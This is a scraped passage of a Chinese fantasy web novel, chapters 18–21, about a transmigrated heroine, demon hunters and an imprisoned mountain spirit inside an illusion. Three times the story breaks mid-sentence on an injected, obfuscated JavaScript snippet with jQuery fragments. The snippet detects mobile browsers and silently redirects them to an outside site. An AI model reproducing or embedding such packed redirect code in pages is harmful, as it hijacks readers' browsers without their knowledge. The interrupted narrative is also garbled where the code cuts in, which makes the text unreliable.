“我只是路过……”裴玄尴尬地摆摆手,后退一步,“你们继续。”
话音刚落,两团黑烟同时急速袭向裴玄和那名男子,两人同时翻身后仰,刚一落地又一团黑烟袭来,两人动作出奇一致,脚蹬假山借力凌空翻滚,几个越步到谢清言面前。
沈惊澜透过假山的缝隙窥探,小声提醒道:“裴大哥,她应当打不到你。”
裴玄这才反应过来,立刻退到一旁站定,平时一贯一本正经且淡然的脸上难得露出了几分羞赧,他收起木剑,手放在嘴边咳了两声:“我忘了。”
谢清言眸子一凛:“永安王殿下,你府里的老鼠真是不少。”
赵明舟也吃惊,问道:“卫符,这些人打扮古怪的人是你的朋友?”百余年前的人看现在的人,可不是奇装异服看起来就不像好人么。
卫符微微皱眉:“不认识。”
“但也是除妖师,或可合作杀妖。”
谢清言冷笑,抬起右手,掌心一团浓重的黑烟蓄势待发:“你替我付钱买包子,为表感谢,我会留你一个全尸。”
“至于其他人,”她的目光慢慢扫过在场的每一个人,在扫过赵明舟时微微一顿,“看我心情。”
18. 第 18 章
永安王府寂静无声。
那名男子掏出一柄青黑长剑,剑在月下冷光逼人。
谢清言抬起下巴,目光毫无波动,轻蔑道:“动手吧。”
男子甩下大氅抛向谢清言,同时飞身跃起,长剑紧随大氅,直逼她面中。
只见她右手抬起张开,面前弥漫起浓重的黑烟,大氅刚出碰到,便被黑烟缠绕,眨眼之间搅碎,化作漫天黑色的羽毛,纷纷落下,似下了一场黑雪。
紧接着长剑刺入黑烟中,男子感觉到有一只无形的手牢牢抓住剑身,他想抽回,却撼动不了分毫。
“这剑有点眼熟呢。”沈惊澜若有所思道。
秦秋神色严肃:“是青风剑。”
沈惊澜瞪大了眼睛:“真是卫家家祖卫符?!”
虽然不敢相信,但不得不面对真相。
这是什么宿命,除妖师最后变成了影妖?
卫符进退两难,剑一点点被黑烟吞噬,脸上却仍旧淡定,凝神聚气,没有丝毫被劣势局面干扰。
突然谢清言猛地收回手,黑烟乍散,卫符趁机收回剑,却没有下一步动作。
他停住了。
对面的谢清言不知为何脸色发黑,原本长出来的一点肉迅速萎缩,很快变得跟之前一般干枯,甚至更甚,形同骷髅。
她身子不易察觉地晃动了下,很快站稳,死死盯着卫符,一缕淡淡的黑烟环绕在她的手腕,若有若无。
“你真是卑鄙。”谢清言的声音依旧冷淡,听不出情绪,“你假意替我付钱,实则趁机在包子里给我下了药。”
卫符收剑入鞘,双手环抱在胸前,下巴抬起,眼中含笑,一派胜者姿态:“不错,你一到凛州我便注意到你了,云山山都,若能杀你,我必将名扬天下!”
他眉头压低,眉尾扬起,眼露凶光得意道:“不过是给你下了些专门针对妖的猛药,只要你过度催动内力,便会反噬,而且是以十倍之力反噬。”
谢清言再也忍不住,咳出一滩血,支撑不住半跪在地。“想不到除妖师口口声声为民除妖,行事却是如此下流卑鄙。”
卫符并不在意她的嘲讽,转身朝永安王单膝下跪,左手覆右手抱拳道:“殿下,草民已兑现自己的承诺,也请殿下守约。”
赵明州出人意料地脸色阴沉下来:“本王从未应允过你,一切都是你自以为是。”
“红月,让人用缚妖索把这妖绑了,带到妖狱。”
“是。”
“其他人,夜闯王府乃是死罪,念在你们是为除妖,本王饶你们一命,以后若再犯,就别怪本王无情了。”
裴玄不语。
卫符仍然跪着,赵明舟从他身边经过,甚至没有看他一眼。
“殿下!”卫符大声道,他涨红了脸,左手死死握住右手,因太过用力而指尖发白,右手手背也被压得泛青。
他抬起头,目光定在赵明舟的背影,眼睛发红:“那为何您七年前会听草民之言放火烧云山!”
“王府中十名除妖师,今夜过后他们都会知道此事,您这样做,是寒了天下除妖师的心!”
赵明舟停下脚步,双手握于身后,仍背对着他,声音越发冰冷:“七年前正是听你谗言险些酿成大祸,留你一命,已是仁慈,你还敢在我面前提此事!”
“还不快滚!”
卫符低头“呵呵”苦笑两声,垂下手,起身后复又抬起头,眼中的欲望如熊熊烈火,火上浇油,燃得更旺。他不气反笑:“殿下仁慈,便由草民来做这个恶人吧。”
说完,飞到树上,几个跳跃后从后消失在夜色中。
妖被降伏,祖宗已走,假山后面的三人这才露面。
“殿下留步。”裴玄闪身拦住他。
他有些乏了,先前喝了酒,本就醉醺醺的,又来这么一遭,心里十分不快。“还不走?找死吗?”
裴玄扔下木剑,语气放缓:“不敢,只是山都力量远超普通妖,殿下把她关进妖狱未必稳妥,我与师妹师弟皆为除妖师,之前也与其他山都交过手,不如我们为她再设一阵,以防万一,殿下也好安心。”
赵明舟刚想说什么,裴玄没有给他开口的机会,继续道:“方才殿下一心求死,想必一定是有难言之隐。山都一怒,可屠一城,殿下不怕死,但若惹怒谢清言,凛州无辜百姓也会跟着受累,殿下难道忍心?”
一旁的沈惊澜暗地里给裴玄竖起了拇指:没想到平日里看起来最是正经正义的大师兄攻心术一点不弱。
赵明舟眼眸闪烁,终于开始摇摆。
沈惊澜见有戏,再添一把火,她取下桃枝发簪,一头青丝带着月华泻下,略施一点粉黛,娇若手中的桃花,又比桃花更加秾丽动人。
“草民与山都有缘,能感知山的情绪,这支桃枝便是一个山都所赠,殿下若不信,可请人试一试这桃枝。”
赵明舟犹豫了一下,还是接过桃枝。
他把桃枝放在掌心,另一只手从它上面掠过,一股如玉一般的莹润的白光亮起,桃花轻颤,在掌心抖动身姿。
他把桃枝还给沈惊澜:“不错,确实有山的气息。”
“殿下也会法术?”
赵明舟没有回答,只是把手放在嘴边,口哨声响起,祝红月很快赶来。
“殿下,已经把谢清言关在妖狱了。”
“带他们去妖狱。”
祝红月不可置信地看向几人:“他们夜闯王府身份不明……”
赵明舟摆手,打断她的话。“七年前的恩怨,也该了结了。”
他重重叹了口气,颀长的身姿被月光压得驼了肩,明明是个年轻富贵的王爷,不用像皇帝整日为国事操心,也不像普通平民为生计劳累,偏安一隅,最应该潇洒自在,可他却暮气沉沉,不见半点风流样子。
“请各位,”赵明舟的态度一百八十度转变,客气并郑重,“替我问问她,当年之事,我该如何偿还。”
他没有用本王,而是说“我”。
沈惊澜握紧手中桃枝,正色道:“必不负殿下所托。”
月上中天,树影横斜,赵明舟又让祝红月拿了酒,倒在芍药花从中,举起酒壶,暗红琼浆直直浇在脸上,如同溅了一脸的血,诡异妖艳。
与此同时妖狱中,几人跟随一个除妖师前往关着谢清言的牢房。
沈惊澜一边走一边挽起头发,头发太长,她手笨,怎么也挽不好,总是有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717029|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
几绺不听话的碎发落下来,显得杂乱。
她索性放弃,专心看起被关在妖狱的妖来。
妖狱比普通的牢狱要大得多,高数丈,狱里一片漆黑,没有烛火,没有看守,一眼望去尽是黑暗,黑暗之中,时不时有妖怪温热的鼻息扑来,带着血肉腐烂的臭味,令人作呕。
“我见那永安王看你的眼神不太一般。”卫昭明在前面掌心燃起一团火苗,为其他人掌灯。
沈惊澜这才看清一条两丈宽的路两边是两排通顶的牢房,每个牢房的铁围栏上都设有禁妖咒,每根铁柱碗口粗细,两根之间仅仅能伸出一根指头。她仔细大量周围缝隙中偶尔出没的幽绿的妖怪的眼眸,没空理他,随口敷衍道:“你哪只眼看见的?”
“有眼睛的人都能看出来。”
“你眼瞎了,”一只妖怪突然瞪大了眼,吓得沈惊澜往旁边一窜,正好踩到卫昭明的鞋子,她拍拍胸脯,心有余悸,“你别乱说话影响我的注意力。”
卫昭明咬牙,深吸一口气,准备阴阳怪气:“阿兰姑娘……”
“到了,就是这里。”除妖师停下脚步,他们已经走到妖狱的尽头,尽头的墙都箍了铁,铁壁上几盏烛灯,照亮幽暗的牢笼。
谢清言被关进来时,还提着她的白梅灯笼,她坐在牢房中间,双手保住膝盖,头抵在手上,看着灯笼发呆。
几人来了,她没有任何反应。
除妖师道:“一刻钟后,我来接你们。”
“多谢。”
“谢清言?”沈惊澜透过窄窄的缝隙望向牢房内,眼睛一眨一眨,“你还好吗?”
谢清言闻言转过脸来,她的更加枯瘦了,皮几乎贴在骨头上,没有一点肉。
有点像活骷髅,沈惊澜心里有点打退堂鼓,但这里只有她有山都的信物,所以只能硬着头皮跟她套近乎。“我叫阿兰,从小生活在山里,能感受山的情绪,我还认识船山山都,他还给了一支发簪。”
谢清言点点头,表示相信:“怪不得觉得你身上的气息有些熟悉。”
“船山山都,听说过,他修为不够没能化成人形,十分可惜。”
沈惊澜松了一口气,还好身上有船山的气息,否则她都不知道该怎么解释。
见谢清言警戒心没一开始那么重,她也坐下来,与谢清言保持同样的高度。“其实也没什么可惜的,不是所有的妖都追求强大的法力,船山他一直与尊敬他热爱他的子民生活在一起直到最后一刻,他说他很知足。”
“我听说山都一般都与人为善,不会轻易害人,你来找永安王一定有你的理由。”
她学着谢清言的样子把头靠在手上,青丝顺着后背垂下,隔住了一旁卫昭明目不转睛的视线。
沈惊澜慢慢说着,不急不躁,声音如同潺潺的流水,山间清晨的鸟鸣,让人不自觉地放下警惕,听她娓娓道来。
“我能感觉到山的情绪,你表面看起来冷淡,其实你很难过,这样的难过持续了很久,以至于有些麻木。”
“实话跟你说,我们与卫符不是同路人,他来是为了降你,我们来则是为了救你。”
“但真正能救你的,只有你自己,全看你是否愿意。”
19. 第 19 章
七年前,云山大火,烧了七天七夜。
整座山成为一座黑色的死山,浓烟弥漫,数十日不散。
七七四十九日后,从云山中走出一名身着黑色大氅的女子,手提一盏白梅灯,一步十跃,直奔凛州。
谢清言一闭上眼睛就会回想起大火漫山的情景,云山没有人,但有几百小妖,他们大多刚化妖没多久,还没见过云山外的世界。
火中带着禁妖咒,几乎一瞬便将他们烧成了灰。
她没能救他们。
“救我自己?”谢清言苦笑,“我不需要被救。”
沈惊澜不知道七年前发生了什么,只能从他们之前有限的对话中推测:“你想杀那个除妖师报仇,就得先从这里出去,现在只有我们能帮你。”
“他以为凭这点伎俩就能拦住我,未免太小巧我了。”谢清言枯枝般的手握住碗口粗的玄铁槛,黑烟笼罩,沈惊澜挪了挪屁股离她远些,很快上面金色的禁妖咒符消失了。
沈惊澜干笑两声,小心试探:“你应该不会对我们动手吧?”
谢清言道:“你是普通人,又有船山信物,我不杀你。”
她松了一口气。
谢清言话还没说完,继续道:“你身后那三个除妖师,待我报仇之后再来杀。”
山都一怒,可屠一城。沈惊澜想想就头皮发麻,谢清言完全可以现在就闯出妖狱,只不过三个除妖师在外面拦着,加上自己受伤,总要废点力气。
她在等,等自己恢复法力,一击制敌。
沈惊澜见她不为所动,干脆如实相告:“别逞能,你可知你现在不自救,百余年后云山就会成为除妖师的老巢!”
身后的三个锦绣城弟子非常整齐地咳了一声。
谢清言忍不住笑出声:“荒谬,我在一日,除妖师便一日不会安宁。”
“若你不在呢?”沈惊澜眼神幽幽,似带着某种古老的预言,“如果你被困在一个未知的幻境中,永远无法出来呢?你还能保证云山不被除妖师所占?”
谢清言被她的目光唬住,愣了神。她垂下眼眸,目光不经意扫过裴玄腰间,最终定在玄青的剑鞘上。
她勾起手指,青风剑从剑鞘中引出,青黑泛着冷光的剑在给黑烟中轻而易举穿过玄铁槛,落到她手中。
手指在剑上摩挲,指节轻敲剑脊,剑鸣悠远:“与那人的剑一样,只不过时间更久一些。”
她皱起眉头,手腕一转剑锋直指沈惊澜:“你们不属于这里。”
沈惊澜原以为她只是个按照特定剧情循环的NPC,没想到她的判断竟如此敏锐。
难道她有自我意识?
还没想好怎么跟她说,身后的裴玄突然有了动作,闪身到牢房前,抬起手掌心运力,手掌变形扭曲,宽厚的手从狭窄的缝隙泥鳅般中穿过,覆在谢清言手腕,后者立刻抽回,却因之前受伤,被裴玄紧紧箍住。
裴玄翻转手腕,劈其虎口,青风剑回到手中,随着他的手泥鳅般退出。
“师兄你能碰到她!”
“本来只是猜测,没想到真如我所料。”裴玄收回剑。
他接着说:“影妖生于人,却没听过生于妖。我本也以为她或许是特例,直到她刚才说我们不属于这里。”
卫昭明马上反应过来:“如果妖生于幻境,就不会意识到还有外来人的可能。影妖更是如此,生于人生前的执念,只会不断循环往复,更不可能意识到这一点。”
沈惊澜后背发凉:还好裴玄之前与谢清言交手只是点到为止,否则若因自己的话而让他放松警惕最后受伤,她便是罪人了。
“【系统提示】主线剧情进度:22%。”
果然她才是更关键的角色!
谢清言被他们的话弄迷糊了:“你们到底是什么人?”
只能对她和盘托出了,沈惊澜问她:“我们是谁不重要,重要的是这里是个幻境,你还记得自己是什么时候到这里的吗?”
“这里?”谢清言一脸茫然,“幻境?我怎么会在幻境?”
“七年前赵明舟火烧云山,那是我虽是云山山都,却同船上一样未化人形,火力有禁妖咒,但还不够烧死我。”
“前几日我刚能化人形,便来凛州找他,因为被火烧过,所以现在形同骷髅,要大量进食才会好些。”
“你们说这里幻境?我不可能在幻境里!”
她凑到玄铁槛前,深深凹陷的眼眶中嵌入的一双明艳的眼眸,死死瞪着沈惊澜,诡异可怖。她的声音自喉咙深处破碎,像一盏晶莹剔透的琉璃灯布满裂痕:“我一路至此不过几日,没遇到其他妖怪,见到的除妖师只有你们几个和那个人,怎么可能到幻境里!”
沈惊澜无奈地摇摇头,轻轻叹气:“其实你已经有了猜测,只是不敢相信,不是吗?”
她把桃枝簪放到谢清言面前,蹙眉不忍,但不得不告诉她真相:“这支簪子是船山死前所赠,差不多九天之前他就死了,你可知?”
谢清言不可置信:“明明前几日我还能感应到他,怎么会?”
“于我们而言,”沈惊澜顿住,声音发紧,“永安王赵明舟是百余年前的人。”
若谢清言是与其他影妖一起进入幻境,那她在幻境中已重复了百余年而不自知,她甚至不知道她身边没有一个活人,都是有着固定轨迹的影妖。
大妖的寿命以千年计,若不是他们闯入,她不知道要在这里重复多久的年岁,报这虚妄的仇。
山都之间的感应,此刻沈惊澜窥到了谢清言心里涌起的千层浪。
滔天的愤恨之外,是黑夜行船伸手不见五指般的茫然。她忘了如何进入了幻境,为了是谁把她困在幻境,更忘了自己为何会成为像影妖一样的行尸走肉。
她在小小的凛州迷失于茫茫天地,想要杀的人,早已死去,只剩她还在痛苦地活着。
沈惊澜没有时间替谢清言伤感悲愤,压住心里的难过,趁势道:“只有我们来自幻境之外,只有我们能帮你,也只有你能帮我们。”
“谢清言,”沈惊澜靠近玄铁槛,贴近谢清言的面庞,她的眼睛与缝隙另一边眼睛不过寸余,能清晰看到彼此眼眸中的倒影,玄铁槛两边,一个山都如蝶梦庄周,一个山都此身寥落。沈惊澜嘴唇微张,谢清言几乎立刻读懂了她的口型:
若山都之间能感应到。
沈惊澜带着恳求:“请你帮我。”
谢清言眸子微动,没有直接回答:“可我不记得我是如何进入幻境的。”
“云山离万州不算远,你知道万州哪里有大河吗?”
她摇摇头:“万州曾有一条沱河,早已枯竭,后来河床之上建了村落,对你们来说应该已经是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717030|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两三百年前的事了。”
不是她要找的河。沈惊澜掩盖住脸上的失望:“没关系,若你想起什么跟河流有关的,一定要告诉我。”
“时间到了,各位请随我离开。”一刻钟已到,除妖师准时出现。
裴玄点头:“有劳带路。”
沈惊澜起身。“外面的卫符想杀你,你呆在这里反而安全,待我们商量出对策再来找你,不管你愿不愿意帮我们,我们都会帮你离开这里。”
她眼神笃定,看着不过是个十五六岁的姑娘,身量纤纤,眼如明月,分明是普通小女子的样子,身上却有一股极其坚定的力量,让人不得不相信她。
谢清言动容,曾有千钧之力,一朝变为凡人,她也没有放弃。
“我们会帮你彻底离开这里。”
谢清言不自觉答应了她:“好,我帮你。”
而非帮你们。
离开妖狱,永安王没有立刻召见他们,把他们安顿在王府一座偏宅,暂且歇下。
四人都没有睡意。天气冷,房间备好了燎炉,围炉而坐,生上炭火,驱散不真实的寒意。
卫昭明脸色不大好看。
这里的时间杂乱无序,但大约算着,也快到毒发的日子了。
沈惊澜借来棉被,结结实实地裹在他身上,望着燎炉一言不发。
第一次毒发时他冷得像个冰窖,这一次毒发比上一次更严重,不知道会有多痛苦。
“你在想什么呢?”比上一次好的是,这次没有受伤,没有服用药劲大的丹药,他还能勉强运力,维持表面如常。
沈惊澜揉了揉头发,有些烦躁:“我在想河在哪。”
秦秋见她这样执着,不由得多了几分相信:“阿兰,你真能预言?”
“一点点,”沈惊澜蔫头耷脑,伸出手比划了一下,“我有点常人没有的能力,我能看到万州有一条大河,河底有艘沉船,那里就是幻境的关键。”
“其他的我就不知道了。”她现在后悔,当初看书时要是再认真一点就好了,可看书时谁能想到会穿到书里呢?
“我还在想谁造的幻境,谁把谢清言控制在幻境中,她可是大妖山都,寻常除妖师根本不是她的对手。”
“我原本以为是卫符,可卫符自己也在幻境中,人会把自己困在幻境里吗?可若建幻境的人不在这里,我们又如何能找到他?”
她越说越激动,头发被她摧残得凌乱不堪。秦秋碰不到她,卫昭明无奈地冲她招手:“你过来。”
“又要干嘛?”沈惊澜顶着一头鸡窝还沉浸在诸多的问题中,愣愣地看着他。
她还是乖乖挪动椅子,坐到他旁边。
卫昭明冰冷的手展开她攒紧的拳头,拿起她手中桃枝簪,修长的手指从发间穿过,慢慢地梳开头发打的结。
她的头发很长,卫昭明极有耐心地用手一绺一绺分开,遇到一处死结实在解不开,便用浮光剑的剑锋微微劈开,一点点碎发就随剑飘落。
沈惊澜脑子里的问题突然消失不见了,低着头怔怔地盯着地面发呆。她觉得好吵,但耳边只有自己的心跳声。
“梳好了,没见过哪家女子不会自己梳头发的。”
沈惊澜抬起头,眼睛正好撞入卫昭明眼中,她隐约看见他如春水动人的眼眸中,有一朵小小的桃花,在炭火中跳跃。
20. 第 20 章
“昭明何时会给女孩子簪发了?”秦秋歪头“不怀好意”地冲他们坏笑。
卫昭明面不改色道:“我实在看不惯眼前有丛杂草晃来晃去。”
沈惊澜已经习惯他嘴毒了,看在他给自己簪头发的份上便不跟他拌嘴。“眼下谢清言愿意帮我们,但她什么都不记得,我们不能抱有太大希望,永安王和卫符,我们得选一个人下手。”
秦秋点头:“阿兰所言极是,与永安王、卫符和谢清言比起来,张衍没有这么大的力量建起如此复杂的幻境,或许只是被迫入局。”
“待昭明熬过这一日,我便去找卫师祖。”裴玄拔出剑细细擦拭,青风剑收敛起锐利的剑气,与普通剑无异。
幻境里的卫符看起来可不像个好人,沈惊澜心里打鼓,若到最后卫符真是幻境中的反派恶人,这三个锦绣城的弟子是不是要怀疑人生了?
秦秋有些担忧:“且不说幻境交叠,我们没来过凛州,对这里一无所知,怎么找?”
青风剑被擦得锃亮,裴玄收起剑:“既然师祖曾是青风的主人,或许它能帮我。”
屋里越来越冷,燎炉里烧红的炭火偃旗息鼓,间或有一两粒偶尔跳起的火花苟且偷生。
到时间了。
毒药发作,自卫昭明脚下向四周扩散,一直到墙壁、屋顶,几乎是眨眼之间便结成一层薄薄的冰霜。
他裹着被子摇摇欲坠,脸色比死人还难看。
沈惊澜冷得止不住哆嗦,裴玄和秦秋帮不上忙,她只能任劳任怨地隔着冻得坚硬的被子,把他扶起:“我扶你去床上躺下吧,这次得靠你自己扛了。”
卫昭明刚躺下床就结了一层冰,他双目紧闭,眉头皱成川字,睫毛上结霜变成白色,微微颤抖。“阿兰。”
他很少叫她的名字,大多数情况会省略对她的称呼,似乎从他嘴里说出“阿兰”两个字对他来说太过难为情。
他的声音太微弱,沈惊澜不得不靠近才能听清:“怎么了?需要我做什么?”
“出去。”
“……”
虽然能理解是让她到一个不被他影响的地方,但是这样直接的表达还是让沈惊澜小小鄙视了一下。
沈惊澜穿得单薄,现在又是凡人之躯,已经被冻手脚僵硬,她在这里帮不上什么忙,便叫上秦秋一起离开了他们的屋子。
“秦姐姐,”回到她们的屋子,沈惊澜躺在床上翻来覆去睡不着,秦秋是除妖师,比常人精力好上不少,此刻不困,便从书架上翻出一本书,坐在一旁的凳子上随意翻看起来,“我睡不着。”
秦秋把目光从书页上离开,吹灭蜡烛,走到床边坐下:“是烛火扰到你了吗?”
沈惊澜摇摇头,把枕头垒起半躺半坐,用被子把自己裹得严严实实的,目光瞥到秦秋手里的书,书名叫《百妖录》。她拿过书翻了几页,上面记载了大奉近百年间出现的妖怪,并绘有妖怪的样貌,有的记载简略,有的很详细。
她正好翻到一页,看墨色应是近年记录的:
近年苍山妖气大盛,或见山都高三丈,通体青绿,头簪野花,难辨雌雄。
原来她在这时刚刚化妖。文字旁边寥寥几笔勾勒出她的原身样貌,很是滑稽,沈惊澜觉得有辱她未来妖王的形象。
沈惊澜合上书,问秦秋:“秦姐姐,你们都说凡妖必除,可若一个妖从未做过坏事,反而与人为善,也要杀他吗?”
“阿兰为何会这样问?是觉得谢清言不是坏妖,不该杀?”
她点点头:“我的家乡有一只白蛇妖,心地善良,悬壶济世,造福百姓,可有个除妖师觉得凡妖必除,将她镇于法器之下,但家乡的父老乡亲都觉得白蛇妖不该除。”
“我觉得谢清言不是滥杀无辜之人,她没杀我,也没杀卖包子的大叔,还答应帮我们出幻境。冤有头债有主,她只找放火烧山的人,我觉得她不坏。”
她一边说一边打量秦秋的神情,见她面色如常,便继续大胆说下去:“船山在遇泥魃之前,与山里的百姓亦是和谐相处,船山还会惩处恶人……”
秦秋打断她:“可船山还是纵容了泥魃,妖妖相互,并非善类。”
“可人也是这样的,船山最终也以命偿还。”
“若是天下以人妖而非善恶为分,阿兰以为是失了正道。”
屋里一时陷入沉默,沈惊澜心“咚咚”地跳个不停,担心秦秋觉得她心术不正。毕竟秦秋才是本文女主,沈惊澜还是希望能抱上这个大腿,如果他们真的对妖无法容忍,她也要考虑为自己多找几条求生之路。
所以她要探明白他们的态度。
“锦绣城弟子上的第一课便是凡妖必除,”秦秋拿过《百妖录》,翻到沈惊澜的那一页,“我觉得未必。”
沈惊澜不敢相信这话是从锦绣城人人敬重的大师姐嘴里说出来的。
她说这话时一改往日的温和淡然,眼中有一束沈惊澜看不明白的光。
她指着细腻白皙的书页上可怕滑稽的苍山山都,一双杏眼亮晶晶,竟有点兴奋:“你看这是百余年前的沈惊澜,这时的人们谁能想到这个妖将来会成为妖界最强大的力量之一。”
“一个山都不过百年就如此强大,可谓空前绝后。”
沈惊澜有些晕了,感觉她非但不恨自己,反而很欣赏:“她是锦绣城眼中钉,还给卫昭明下毒,秦姐姐不想杀她?”
“当然想,她这样惹眼,若哪个除妖师能将她降伏,必将名垂千古!”秦秋越说越激动,“可她就一定该死吗?”
“她同谢清言一样,只对除妖师下手,不伤普通人,若我不是锦绣城弟子,只是个小门小派的除妖师,也许我就不会与她为敌。”
“与她为敌,”秦秋苦笑了一声,“以我的力量,她根本不会把我放在眼里,我不配当她的对手。”
沈惊澜第一次深入了解秦秋的想法。原著中的秦秋恨她入骨,所以连带恨所有妖怪,原来原本的她竟这样“离经叛道”。
“不过呢,”秦秋合上书,“锦绣城已与她势不两立,我作为锦绣城的弟子、昭明的师姐,也必将以她为敌。至于其他妖,也许我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717031|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
做不到尽除之。”
秦秋拍拍沈惊澜的脑袋,恢复往常的温和:“我同意阿兰的,天地正道不以物分,而以善恶为分。”
沈惊澜低下头,心里有点难过。她想不明白,这样通透的人,为何原著中会为一个男人丧心病狂。
仅仅因为不是主角,要为男女主作配,所以就要迷失自我,成为人人喊打的反派吗?一定要让女二黑化,才能衬托主角感情的感天动地、可歌可泣吗?
成为女主的秦秋就像旷野中无尽的风,裴玄是一座永远可以依靠的大山,山有时肩负的东西太重,不得不压抑自己来扛起一切,而风是自由自在的,可以温和可以凌厉,可以好风凭借力,可以暖风抚人心。
她大部分时间同裴玄一样,是大家的依靠,偶尔放松时也可以讲几句腹黑的玩笑。
现在轮到自己女二,沈惊澜不甘心就这么当个炮灰。
“秦姐姐,你会不会觉得我是异类?”
秦秋抿嘴一笑:“怎么会?我很少见阿兰这么勇敢、特别的姑娘,昭明还是第一次对一个女子如此上心呢。”
沈惊澜脸颊微微发热:“卫昭明刀子嘴豆腐心,遇到谁有难都会帮的。”
“倒是秦姐姐你,”她话锋一转,冲着秦秋坏笑,“对裴大哥……”
秦秋羞红了脸:“休要胡说,我对师兄是同门之情。”
“哦——”沈惊澜拉长语调,正要继续调侃她,目光不经意瞄到窗户,“哎!你看那里!”
不远处裴玄和卫昭明的房间里红光闪烁。
二人立马起身,一出门便闻到刺鼻的烟味,裴玄跑出来撞见她们:“快,快去叫人灭火!”
秦秋立马出去叫人,沈惊澜见他一个人出来,心里有种不好的预感:“卫昭明呢?”
时间紧迫,裴玄语速极快,“这火蹊跷,不知从哪而起,蔓延极快,我法术扑不灭,昭明还在昏迷,我碰不到他没法把他带出来。”
火势如裴玄所说,以异常的速度蔓延,他们发现时屋里只不过零星几个火点,现在几乎整个屋子被火焰张牙舞爪地吞噬。
等人来便晚了,卫昭明作为男二不能死。沈惊澜来不及多想:“我去找他。”
裴玄不放心:“里面危险,你不会法术……”
“卫昭明等不了了。”沈惊澜没等他把话说完,便脱下外面的裙衫,泡到一旁小池子中,冷水浸透后披在身上便要往屋里冲。
火光滔天,照亮凛州冰冷的夜晚,融化了因卫昭明而起的满地冰霜。
沈惊澜冲到门口停下脚步,屋内大火如同妖怪张开的血盆大口,热气冲出几乎瞬间把她裙衫的水分蒸干。
不能再害怕了。她深吸一口气,心一横,硬着头皮冲了进去。
一个身影出现在她身旁。
裴玄清沉稳磁性的声音响起:“断没有让一个普通女子自己涉险的道理。”
系统的小字再次出现:
“【裴玄好感度】:50%。请注意,裴玄好感度提升太快,严重影响主任务完成。”
21. 第 21 章
沈惊澜几乎忘了,几日之前,自己还是个每天早出晚归挤地铁下班的社畜,小小的出租屋里,窗户外面是一个繁华大都市的纸醉金迷,窗户里,是她凌晨一点多揉着酸胀的眼睛做PPT的倒影。
从小到大,从学校到职场,二十几年的人生过得平淡顺遂。她总是尽力把事情做好,上学时她努力读书考上了还不错的学校,毕业后有了一份很忙但薪水不错的工作,慢慢攒钱将来也会有自己的小房子,工作虽然有时遇到阻碍,但她总能在最后关头化解。一切都在往好的方向发展。
这样的平淡是她的舒适区,只要做好自己该做的事,就永远不会有大起大落,直到来到了这里。
闯进火里的那一刻,她没有想过,短短约莫十日,她变得连自己都觉得陌生了。
大火从四面八方炙烤,沈惊澜五脏六腑似被灼烧,她用湿衣服蒙住口鼻,但每次吸气鼻腔烟熏火烤阵阵抽痛。
裴玄试图用结界隔绝,但火中带着强大的法术,连他的结界都无法阻隔。
救出卫昭明之前可能自己要先折在这里了。沈惊澜被烟熏得头昏脑胀,她使劲摇了摇头,摒弃杂念,一眼望到屋内被烈火包围的床上,身着绯红衣袍的卫昭明安安静静地躺着,与周围的明黄艳红的火焰融为一体。
他好像死了。周围炙热如熔炉,他的脸还是苍白,像医院里让人眼花的白墙。
仿佛是一场盛大的火化,一团团火红和黑色的浓烟在助兴。
一瞬间大脑一片空白,浑身被灼烧的痛苦消失,沈惊澜不顾一切向他奔去,正在这时房梁不堪大火侵扰塌落。
裴玄下意识伸手,手穿过她的身体,只抓住了火热的空气。
他扑到沈惊澜身边,青风剑凌空斩断房梁,剑锋顺势向旁拨去,房梁被挑开,但火势如游龙探水,俯身就要侵吞沈惊澜。“阿兰快躲开!”
沈惊澜来不及思考,身体因为惯性停不下来,冲到大火之中。
被火焰包围的那一刻,眉心桃花印亮起,身体被淡粉色的光芒围绕,形成一个小小的微弱的结界,及时将她与大火分隔开。
“我没事!”
短期内多次触发船山之力会导致力量越来越弱,她不能停,顶着结界加快脚步,大跨步到卫昭明床边。
结界在最后一刻支撑不住,桃花印黯淡下去。
“卫昭明,你醒醒!”沈惊澜几乎整个身体扑到他身上,一碰到卫昭明便被惊到了,冰冷的温度几乎能把人冻伤,这里与一步之外的地方形成了冰火两重天,她在极寒与极热之间,身体几乎虚脱。
“卫昭明!”她一边拼命地拍打他的脸一边大喊,嗓子被烟熏得沙哑,一喊便破了音。后者惨白的脸上被沈惊澜拍打出一点血色,睫毛轻颤,终于有了一点反应。
他的眼睛张开一条缝,片刻的失神过后眼中映出火中沈惊澜的身影。
沈惊澜来不及说其他,对一旁的裴玄道:“裴大哥,你去院子里打水,有水便往我身上泼。”
裴玄没有多言立刻飞身去院内取水。
